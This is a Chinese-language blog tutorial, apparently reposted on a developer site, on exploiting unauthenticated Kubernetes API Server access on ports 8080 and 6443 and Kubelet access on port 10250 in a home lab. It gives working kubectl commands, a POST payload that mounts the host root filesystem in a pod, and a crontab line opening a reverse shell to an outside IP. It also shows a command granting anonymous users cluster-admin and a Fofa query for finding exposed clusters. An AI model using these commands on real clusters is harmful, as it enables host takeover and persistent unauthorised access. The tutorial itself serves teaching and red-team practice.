云上攻防-云原生篇&K8s安全-Kubelet未授权访问、API Server未授权访问

简介: 本文介绍了云原生环境下Kubernetes集群的安全问题及攻击方法。首先概述了云环境下的新型攻击路径,如通过虚拟机攻击云管理平台、容器逃逸控制宿主机等。接着详细解释了Kubernetes集群架构,并列举了常见组件的默认端口及其安全隐患。文章通过具体案例演示了API Server 8080和6443端口未授权访问的攻击过程,以及Kubelet 10250端口未授权访问的利用方法,展示了如何通过这些漏洞实现权限提升和横向渗透。

前言

随着越来越多企业开始上云的步伐,在攻防演练中常常碰到云相关的场景,例:公有云、私有云、混合云、虚拟化集群等。以往渗透路径「外网突破->提权->权限维持->信息收集->横向移动->循环收集信息」,直到获得重要目标系统。但随着业务上云以及虚拟化技术的引入改变了这种格局,也打开了新的入侵路径,例如:

  1. 通过虚拟机攻击云管理平台,利用管理平台控制所有机器
  2. 通过容器进行逃逸,从而控制宿主机以及横向渗透到K8s Master节点控制所有容器
  3. 利用KVM-QEMU/执行逃逸获取宿主机,进入物理网络横向移动控制云平台

目前互联网上针对云原生场景下的攻击手法零零散散的较多,仅有一些厂商发布过相关矩阵技术,但没有过多的细节展示,本文基于微软发布的Kubernetes威胁矩阵进行扩展,介绍相关的具体攻击方法。

K8S集群架构解释

通俗来说,Kubernetes 是一个开源平台,用于管理多台主机上的 Docker 容器。它提供了自动化部署、伸缩和操作容器化应用的功能,使得管理大规模的容器集群变得更加高效和便捷。

常见的kubernetes集群结果如下图所示

K8S集群攻击点

下图为深信服梳理的 K8S 集群架构下可能存在的安全问题

通过各个组件存在隐患的默认端口可大概判断目标主机是否在集群内

组件名称

默认端口

api server

8080/6443

dashboard

8001

kubelet

10250/10255

etcd

2379

kube-proxy

8001

docker

2375

kube-scheduler

10251

kube-controller-manager

10252

本地搭建环境测试

本次搭建采用centos7搭建集群共三个节点,包含一个主节点,两个工作子节点:

搭建过程可参考我另一篇文章:Centos7 搭建 kubernetes集群

节点

角色

IP

hostname

Node1

Master

192.168.0.25

master-1

Node2

Woker

192.168.0.30

node1

Node3

Woker

192.168.0.31

node2

演示案例-云原生-K8s安全-API Server 8080端口未授权访问

攻击8080端口:API Server(Master)未授权访问

旧版本的k8s的API Server默认会开启两个端口:8080和6443。

6443是安全端口,安全端口使用TLS加密;但是8080端口无需认证,

仅用于测试。6443端口需要认证,且有 TLS 保护。(k8s<1.16.0为旧版本)

新版本k8s默认已经不开启8080。需要更改相应的配置,我这里低版本直接可以访问

修改完配置重启服务器即可访问

systemctl restart kubelet

看见如图示内容变存在未授权

这里我们通过官方管理工具来进一步利用

kubectl官方工具下载地址:https://kubernetes.io/zh-cn/docs/tasks/tools/

#获取所有容器的node节点
kubectl.exe -s 192.168.0.25:8080 get nodes
#获取所有容器pods节点
kubectl.exe -s 192.168.0.25:8080 get pods

能正常获取便可进行下一步

这个时候我们创建一个yaml文件,通过我们的api server未授权创建一个yaml文件创建一个pods节点

文件名与后面对应上即可我这里叫test.ymal

这里我们着重注意三个点

  • name此为我们后创建容器的名称
  • image为我们选择的镜像
  • mountpath为我们宿主机挂载到容器的位置
apiVersion: v1
kind: Pod
metadata:
  name: koube
spec:
  containers:
  - image: nginx
    name: test-container
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  volumes:
  - name: test-volume
    hostPath:
      path: /
#创建容器
kubectl.exe -s 192.168.0.25:8080 create -f test.yaml
#进入容器shell
kubectl.exe -s 192.168.0.25:8080 --namespace=default exec -it test bash
#写入定时任务反弹shell
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.0.8/4444 0>&1\n" >> /mnt/etc/crontab

这个时候可以看到我们在容器逃逸到了node2真机上,原因皆在我们挂载了mnt目录,如有不理解的同学可以往上看上一篇的帖子补补docker逃逸的知识点

Fofa语法:port="8080" && app="Kubernetes"

演示案例-云原生-K8s安全-API Server 6443端口未授权访问

6443端口是默认开启的

以下便是不存在未授权

一些集群由于鉴权配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。

kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous

为未经身份验证的用户(匿名用户)授予集群管理员的权限,这意味着任何未通过身份验证访问集群的用户都将拥有对集群进行几乎任何操作的权限。这在某些特定的测试或开发环境中可能有用,但在生产环境中通常是不安全的,所以感觉头上有包的运维才会真这么干,但既然有这个知识点还是复现一下吧

存在未授权的页面

创建恶意pods

接口为地址为:https://192.168.0.25:6443/api/v1/namespaces/default/pods/

向接口发送而已post请求包,意在创建一个名为lili的容器

{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"lili\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"lili\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"lili","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}

连接判断pods

kubectl --insecure-skip-tls-verify -s https://192.168.0.25:6443 get pods

##insecure-skip-tls-verify 是 Kubernetes 客户端 kubectl 的一个命令行选项,当与 kubectl 命令一起使用时,它会告诉 kubectl 跳过对 Kubernetes API 服务器证书的验证。

连接执行pods

kubectl --insecure-skip-tls-verify -s https://192.168.0.25:6443 --namespace=default exec -it lili bash

这里post包构造挂载目录为host,继续执行反弹shell

echo -e "* * * * * root bash -i >& /dev/tcp/192.168.0.8/4444 0>&1\n" >> /host/etc/crontab

成功上线

演示案例-云原生-K8s安全-Kubelet(node)10250端口未授权访问

不存在未授权

利用执行命令这里需要三个参数

namespace:default
pod:test03
container:test03

执行容器命令:

curl -XPOST -k "https://192.168.0.31:10250/run/<namespace>/<pod>/<container>" -d "cmd=id"
相关实践学习
通过Ingress进行灰度发布
本场景您将运行一个简单的应用,部署一个新的应用用于新的发布,并通过Ingress能力实现灰度发布。
容器应用与集群管理
欢迎来到《容器应用与集群管理》课程,本课程是“云原生容器Clouder认证“系列中的第二阶段。课程将向您介绍与容器集群相关的概念和技术,这些概念和技术可以帮助您了解阿里云容器服务ACK/ACK Serverless的使用。同时,本课程也会向您介绍可以采取的工具、方法和可操作步骤,以帮助您了解如何基于容器服务ACK Serverless构建和管理企业级应用。 学习完本课程后,您将能够: 掌握容器集群、容器编排的基本概念 掌握Kubernetes的基础概念及核心思想 掌握阿里云容器服务ACK/ACK Serverless概念及使用方法 基于容器服务ACK Serverless搭建和管理企业级网站应用
相关文章
|
3月前
|
人工智能 安全 Cloud Native
阿里云云原生安全能力全线升级,护航百万客户云上安全
【重磅发布】9月20日,在杭州云栖大会上,阿里云宣布云原生安全能力全线升级,首次发布云原生网络检测与响应产品NDR(Network Detection Response,简称NDR)。同时,阿里云还宣布将持续增加免费的安全防护能力,帮助中小企业客户以极低投入完成基础的云上安全风险治理。
182 15
|
27天前
|
监控 安全 Cloud Native
云原生安全:Istio在微服务架构中的安全策略与实践
【10月更文挑战第26天】随着云计算的发展,云原生架构成为企业数字化转型的关键。微服务作为其核心组件,虽具备灵活性和可扩展性,但也带来安全挑战。Istio作为开源服务网格,通过双向TLS加密、细粒度访问控制和强大的审计监控功能,有效保障微服务间的通信安全,成为云原生安全的重要工具。
41 2
|
3月前
|
安全 Cloud Native 测试技术
Star 3w+,向更安全、更泛化、更云原生的 Nacos3.0 演进
祝贺 Nacos 社区 Star 数突破 30000!值此时机,回顾过去的两年时间,Nacos 从 2.0.4 版本演进到了 2.4.2 版本,基本完成了当初构想的高性能、易拓展的目标,并且对产品的易用性和安全性进行了提升,同时优化了新的官网,并进行了多语言和更多生态支持。未来,Nacos 会向更安全、更泛化、更云原生的 Nacos3.0 演进。
150 16
|
2月前
|
安全 Cloud Native Shell
云上攻防:云原生篇&Docker容器逃逸
本文介绍了Docker的基本概念及其对渗透测试的影响,重点讲解了容器逃逸的方法。Docker是一种轻量级的容器技术,与虚拟机相比,具有更高的便携性和资源利用率。然而,这也带来了安全风险,特别是容器逃逸问题。文章详细描述了三种常见的容器逃逸方法:不安全的配置、相关程序漏洞和内核漏洞,并提供了具体的检测和利用方法。此外,还介绍了几种特定的漏洞(如CVE-2019-5736和CVE-2020-15257)及其复现步骤,帮助读者更好地理解和应对这些安全威胁。
云上攻防:云原生篇&Docker容器逃逸
|
3月前
|
供应链 安全 Cloud Native
阿里云容器服务助力企业构建云原生软件供应链安全
针对软件供应链的攻击事件在以每年三位数的速度激增,其中三方或开源软件已经成为攻击者关注的重要目标,其攻击方式和技术也在不断演进。通过供应链的传播,一个底层软件包的漏洞的影响范围可以波及世界。企业亟需更加标准和完善的供应链风险洞察和防护机制。本文将结合最佳实践的形式,面向容器应用完整的生命周期展示如何基于容器服务ACK/ACR/ASM助力企业构建云原生软件供应链安全。
|
3月前
|
存储 安全 Cloud Native
揭秘Quarkus安全秘籍:守护云原生应用,抵御未知威胁,助力企业稳健前行
随着云原生技术的发展,企业愈发倾向于在容器化环境中部署应用。作为一款专为云原优化的Java框架,Quarkus的安全性备受关注。本文介绍了Quarkus中的安全最佳实践,包括使用OpenID Connect进行身份认证、使用JWT进行权限控制以及保护敏感端点。通过这些实践,可有效提升应用安全性。同时,还需定期更新依赖库、使用HTTPS协议、加密存储敏感数据及定期进行安全审计,以确保应用的安全性和可靠性。
40 4
|
12天前
|
Kubernetes 监控 Cloud Native
Kubernetes集群的高可用性与伸缩性实践
Kubernetes集群的高可用性与伸缩性实践
45 1
|
2月前
|
JSON Kubernetes 容灾
ACK One应用分发上线:高效管理多集群应用
ACK One应用分发上线,主要介绍了新能力的使用场景
|
2月前
|
Kubernetes 持续交付 开发工具
ACK One GitOps:ApplicationSet UI简化多集群GitOps应用管理
ACK One GitOps新发布了多集群应用控制台,支持管理Argo CD ApplicationSet,提升大规模应用和集群的多集群GitOps应用分发管理体验。
|
2月前
|
Kubernetes Ubuntu Linux
Centos7 搭建 kubernetes集群
本文介绍了如何搭建一个三节点的Kubernetes集群,包括一个主节点和两个工作节点。各节点运行CentOS 7系统,最低配置为2核CPU、2GB内存和15GB硬盘。详细步骤包括环境配置、安装Docker、关闭防火墙和SELinux、禁用交换分区、安装kubeadm、kubelet、kubectl,以及初始化Kubernetes集群和安装网络插件Calico或Flannel。
165 4

热门文章

最新文章